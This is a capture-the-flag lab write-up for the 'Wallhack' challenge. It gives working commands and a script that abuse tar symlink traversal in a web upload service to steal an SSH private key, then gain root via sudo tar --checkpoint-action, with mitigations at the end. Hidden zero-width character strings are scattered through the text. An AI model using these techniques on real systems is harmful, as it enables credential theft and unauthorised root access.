Воллхак (Wallhack)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-27 | Status: Solved Techniques: NA

Summary

Task: Pentest machine with web service for viewing tar archives. Solution: Tar symlink traversal attack to read SSH private key, then privilege escalation via sudo tar checkpoint-action (GTFOBins).

Воллхак (Wallhack) - hackerlab

Description

Pentest machine with a web service for viewing tar archive contents. The name "Воллхак" (Wallhack) is a wordplay referring to bypassing protective "walls" through exploiting symlinks in tar archives.

Target:

• Web: 192.168.2.253:8000 (Flask/Werkzeug)
• SSH: 192.168.2.253:22
• DNS: 192.168.2.253:53

Analysis

Classic tar symlink traversal attack for arbitrary file reading, followed by SSH key theft and privilege escalation via sudo tar.

Stage 1: Reconnaissance

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Port scanning revealed:

• Port 8000: Flask/Werkzeug web server — service for viewing tar archive contents
• Port 22: SSH service
• Port 53: DNS service

The web application allows uploading tar archives and displays their contents.

Stage 2: Tar Symlink Attack

Vulnerability: the application extracts tar archives and follows symlinks, allowing arbitrary file reading on the server.

 bash read-only • copy allowed Copy
# Create symlink to private SSH key
ln -sf /home/terminal/.ssh/id_rsa ssh_key

# Pack symlink into tar archive
tar cvf exploit.tar ssh_key

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After uploading the archive, the application follows the symlink and displays the contents of /home/terminal/.ssh/id_rsa.

Stage 3: SSH Key Theft

Save the obtained private key locally:

 bash read-only • copy allowed Copy
# Save the stolen key
cat > id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[key contents from web interface]
-----END OPENSSH PRIVATE KEY-----
EOF

# Set correct permissions
chmod 600 id_rsa

# Connect via SSH
ssh -i id_rsa terminal@192.168.2.253

Stage 4: Privilege Escalation via sudo tar

Check user's sudo privileges: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
terminal@target:~$ sudo -l
User terminal may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/tar

Exploitation via GTFOBins — tar with checkpoint-action allows executing arbitrary commands:

 bash read-only • copy allowed Copy
# Read flag via sudo tar with checkpoint-action
sudo /usr/bin/tar -cf /dev/null /dev/null \
    --checkpoint=1 \
    --checkpoint-action=exec='cat /root/flag.txt'

Alternative method — getting root shell:

 bash read-only • copy allowed Copy
sudo /usr/bin/tar -cf /dev/null /dev/null \
    --checkpoint=1 \
    --checkpoint-action=exec='/bin/bash'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Full exploit chain for Wallhack

TARGET="192.168.2.253"
WEB_PORT="8000"

# Step 1: Create malicious tar with symlink
echo "[*] Creating malicious tar archive..."
ln -sf /home/terminal/.ssh/id_rsa ssh_key
tar cvf exploit.tar ssh_key

# Step 2: Upload tar and extract SSH key
echo "[*] Upload exploit.tar to http://$TARGET:$WEB_PORT"
echo "[*] Copy the displayed SSH private key to id_rsa file"

# Step 3: SSH access
echo "[*] Connecting via SSH..."
chmod 600 id_rsa
ssh -i id_rsa terminal@$TARGET
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Privilege escalation (run on target)
# sudo /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='cat /root/flag.txt'

echo "[+] Flag: CODEBY{REDACTED}"

Techniques

Mitigation

1. Tar extraction: Use --no-same-owner and validate symlinks before extraction
2. Chroot/Sandbox: Extract archives in an isolated environment
3. Input validation: Reject archives containing symlinks to absolute paths
4. SSH keys: Use passphrase for SSH keys
5. Sudo configuration: Do not grant sudo privileges on tar (or use with restrictions)

References

• GTFOBins - tar
• Tar Symlink Attack ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍